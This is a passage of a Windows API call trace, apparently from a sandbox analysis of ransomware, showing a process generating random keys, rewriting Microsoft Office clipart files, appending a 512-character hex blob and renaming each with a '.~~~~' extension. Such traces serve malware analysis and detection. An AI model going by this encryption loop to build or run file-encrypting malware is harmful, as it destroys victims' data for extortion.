	[0110.806] WriteFile (in: hFile=0x13c, lpBuffer=0x29c8090*, nNumberOfBytesToWrite=0xcec, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29c8090*, lpNumberOfBytesWritten=0x24dfec0*=0xcec, lpOverlapped=0x0) returned 1
	[0110.807] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c8090 | out: hHeap=0x300000) returned 1
	[0110.807] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.807] WriteFile (in: hFile=0x13c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0110.807] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0110.807] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0110.807] CloseHandle (hObject=0x13c) returned 1
	[0110.807] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29c4980
	[0110.807] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02373_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02373_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02373_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02373_.wmf.~~~~")) returned 1
	[0110.808] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c4980 | out: hHeap=0x300000) returned 1
	[0110.808] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0110.808] GetLastError () returned 0x0
	[0110.810] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0110.811] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0110.811] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0110.811] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0110.811] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0110.811] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0110.811] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23080095317) returned 1
	[0110.811] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xaba7ffd0, dwHighDateTime=0x1d60e1e)) 
	[0110.811] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0110.811] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0110.811] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0110.811] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x282f098
	[0110.811] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0110.811] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x282f098 | out: hHeap=0x300000) returned 1
	[0110.811] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0110.811] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0110.811] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29c4980
	[0110.811] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0110.812] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282d688
	[0110.812] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c4980 | out: hHeap=0x300000) returned 1
	[0110.812] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0110.812] GetLastError () returned 0x0
	[0110.812] GetLastError () returned 0x0
	[0110.812] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0110.812] GetLastError () returned 0x0
	[0110.812] GetLastError () returned 0x0
	[0110.814] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xfffff428, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.814] WriteFile (in: hFile=0x13c, lpBuffer=0x29c8090*, nNumberOfBytesToWrite=0xbd8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29c8090*, lpNumberOfBytesWritten=0x24dfec0*=0xbd8, lpOverlapped=0x0) returned 1
	[0110.815] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c8090 | out: hHeap=0x300000) returned 1
	[0110.815] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.815] WriteFile (in: hFile=0x13c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0110.815] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0110.815] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0110.816] CloseHandle (hObject=0x13c) returned 1
	[0110.816] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29c4a28
	[0110.816] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02384_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02384_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02384_.wmf.~~~~")) returned 1
	[0110.817] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c4a28 | out: hHeap=0x300000) returned 1
	[0110.817] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0110.817] GetLastError () returned 0x0
	[0110.817] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0110.818] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0110.819] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0110.819] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0110.819] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0110.819] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0110.819] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23080887531) returned 1
	[0110.819] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xabaa6130, dwHighDateTime=0x1d60e1e)) 
	[0110.819] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0110.819] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0110.819] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0110.819] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x282f0d0
	[0110.819] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0110.819] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x282f0d0 | out: hHeap=0x300000) returned 1
	[0110.819] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0110.819] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0110.819] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29c4a28
	[0110.819] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0110.819] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282d720
	[0110.819] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c4a28 | out: hHeap=0x300000) returned 1
	[0110.820] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0110.820] GetLastError () returned 0x0
	[0110.820] GetLastError () returned 0x0
	[0110.820] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0110.820] GetLastError () returned 0x0
	[0110.820] GetLastError () returned 0x0
	[0110.878] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xfffff6b8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.878] WriteFile (in: hFile=0x13c, lpBuffer=0x29c8090*, nNumberOfBytesToWrite=0x948, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29c8090*, lpNumberOfBytesWritten=0x24dfec0*=0x948, lpOverlapped=0x0) returned 1
	[0110.879] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c8090 | out: hHeap=0x300000) returned 1
	[0110.883] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.883] WriteFile (in: hFile=0x13c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0110.883] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0110.884] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0110.884] CloseHandle (hObject=0x13c) returned 1
	[0110.887] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29c4a28
	[0110.887] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02386_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02386_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02386_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02386_.wmf.~~~~")) returned 1
	[0110.889] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c4a28 | out: hHeap=0x300000) returned 1
	[0110.889] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0110.889] GetLastError () returned 0x0
	[0110.890] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0110.891] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0110.891] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0110.892] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0110.892] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0110.892] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0110.892] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23088182480) returned 1
	[0110.892] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xabb3e6b0, dwHighDateTime=0x1d60e1e)) 
	[0110.892] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0110.892] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0110.892] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0110.892] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x282f178
	[0110.892] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0110.892] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x282f178 | out: hHeap=0x300000) returned 1
	[0110.892] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0110.892] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0110.892] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29c4a28
	[0110.892] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0110.892] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282d7b8
	[0110.892] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c4a28 | out: hHeap=0x300000) returned 1
	[0110.892] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0110.893] GetLastError () returned 0x0
	[0110.893] GetLastError () returned 0x0
	[0110.893] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0110.893] GetLastError () returned 0x0
	[0110.893] GetLastError () returned 0x0
	[0110.899] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffdee0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.899] WriteFile (in: hFile=0x144, lpBuffer=0x29c8090*, nNumberOfBytesToWrite=0x2120, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29c8090*, lpNumberOfBytesWritten=0x24dfec0*=0x2120, lpOverlapped=0x0) returned 1
	[0110.901] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c8090 | out: hHeap=0x300000) returned 1
	[0110.901] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.901] WriteFile (in: hFile=0x144, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0110.901] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0110.901] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0110.901] CloseHandle (hObject=0x144) returned 1
	[0110.901] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29c4a28
	[0110.902] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02404_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02404_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02404_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02404_.wmf.~~~~")) returned 1
	[0110.903] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c4a28 | out: hHeap=0x300000) returned 1
	[0110.903] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0110.903] GetLastError () returned 0x0
	[0110.903] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0110.905] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0110.905] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0110.905] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0110.905] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0110.905] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0110.905] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23089525812) returned 1
	[0110.905] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xabb64810, dwHighDateTime=0x1d60e1e)) 
	[0110.905] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0110.905] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0110.905] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0110.905] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x282f1b0
	[0110.906] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0110.906] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x282f1b0 | out: hHeap=0x300000) returned 1
	[0110.906] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0110.906] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0110.906] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29c4a28
	[0110.906] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0110.906] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282db48
	[0110.906] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c4a28 | out: hHeap=0x300000) returned 1
	[0110.906] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0110.906] GetLastError () returned 0x0
	[0110.906] GetLastError () returned 0x0
	[0110.907] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0110.907] GetLastError () returned 0x0
	[0110.907] GetLastError () returned 0x0
	[0110.910] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffaf80, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.910] WriteFile (in: hFile=0x144, lpBuffer=0x29c8090*, nNumberOfBytesToWrite=0x5080, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29c8090*, lpNumberOfBytesWritten=0x24dfec0*=0x5080, lpOverlapped=0x0) returned 1
	[0110.911] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c8090 | out: hHeap=0x300000) returned 1
	[0110.911] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.911] WriteFile (in: hFile=0x144, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0110.911] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0110.911] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0110.912] CloseHandle (hObject=0x144) returned 1
	[0110.912] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29c4a28
	[0110.912] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02405_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02405_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02405_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02405_.wmf.~~~~")) returned 1
	[0110.913] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c4a28 | out: hHeap=0x300000) returned 1
	[0110.913] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0110.913] GetLastError () returned 0x0
	[0110.913] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0110.915] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0110.915] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0110.915] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0110.915] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0110.915] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0110.915] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23090551243) returned 1
	[0110.915] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xabb8a970, dwHighDateTime=0x1d60e1e)) 
	[0110.916] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0110.916] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0110.916] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0110.916] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x282f1e8
	[0110.916] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0110.916] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x282f1e8 | out: hHeap=0x300000) returned 1
	[0110.916] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0110.916] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0110.916] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29c4a28
	[0110.916] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0110.916] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282dbe0
	[0110.916] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c4a28 | out: hHeap=0x300000) returned 1
	[0110.916] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0110.917] GetLastError () returned 0x0
	[0110.917] GetLastError () returned 0x0
	[0110.917] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0110.917] GetLastError () returned 0x0
